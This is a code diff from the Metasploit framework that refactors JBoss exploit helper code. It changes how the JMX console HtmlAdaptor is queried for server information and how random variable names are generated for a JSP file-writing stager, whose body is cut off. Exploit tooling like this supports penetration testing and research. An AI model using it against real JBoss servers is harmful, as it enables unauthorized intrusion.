Refactor Jboss mixin
Use send_request_cgi and vars_get rand_text_alpha -> Rex::Text.rand_text_alphabug/bundler_fix
parent
919eec250d
commit
02d202dd44
|
@ -73,11 +73,16 @@ module Msf::HTTP::JBoss::Base
|
||||||
end
|
end
|
||||||
|
|
||||||
def query_serverinfo
|
def query_serverinfo
|
||||||
path = normalize_uri(target_uri.path.to_s, '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo')
|
path = normalize_uri(target_uri.path.to_s, 'HtmlAdaptor')
|
||||||
res = send_request_raw(
|
res = send_request_cgi(
|
||||||
{
|
{
|
||||||
'uri' => path,
|
'uri' => path,
|
||||||
'method' => http_verb
|
'method' => http_verb,
|
||||||
|
'vars_get' =>
|
||||||
|
{
|
||||||
|
'action' => 'inspectMBean',
|
||||||
|
'name' => 'jboss.system:type=ServerInfo'
|
||||||
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
unless res && res.code == 200
|
unless res && res.code == 200
|
||||||
|
|
|
@ -10,11 +10,11 @@ module Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
|
||||||
# @param stager_jsp [String] The name name of the jsp stager.
|
# @param stager_jsp [String] The name name of the jsp stager.
|
||||||
# @return [String] The JSP head stager.
|
# @return [String] The JSP head stager.
|
||||||
def head_stager_jsp(stager_base, stager_jsp_name)
|
def head_stager_jsp(stager_base, stager_jsp_name)
|
||||||
content_var = rand_text_alpha(8+rand(8))
|
content_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
file_path_var = rand_text_alpha(8+rand(8))
|
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
jboss_home_var = rand_text_alpha(8+rand(8))
|
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
fos_var = rand_text_alpha(8+rand(8))
|
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
bw_var = rand_text_alpha(8+rand(8))
|
bw_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||||
head_stager_jsp_code = <<-EOT
|
head_stager_jsp_code = <<-EOT
|
||||||
<%@page import="java.io.*,
|
<%@page import="java.io.*,
|
||||||
java.util.*"
|
java.util.*"
|
||||||
|
|
Loading…
Reference in New Issue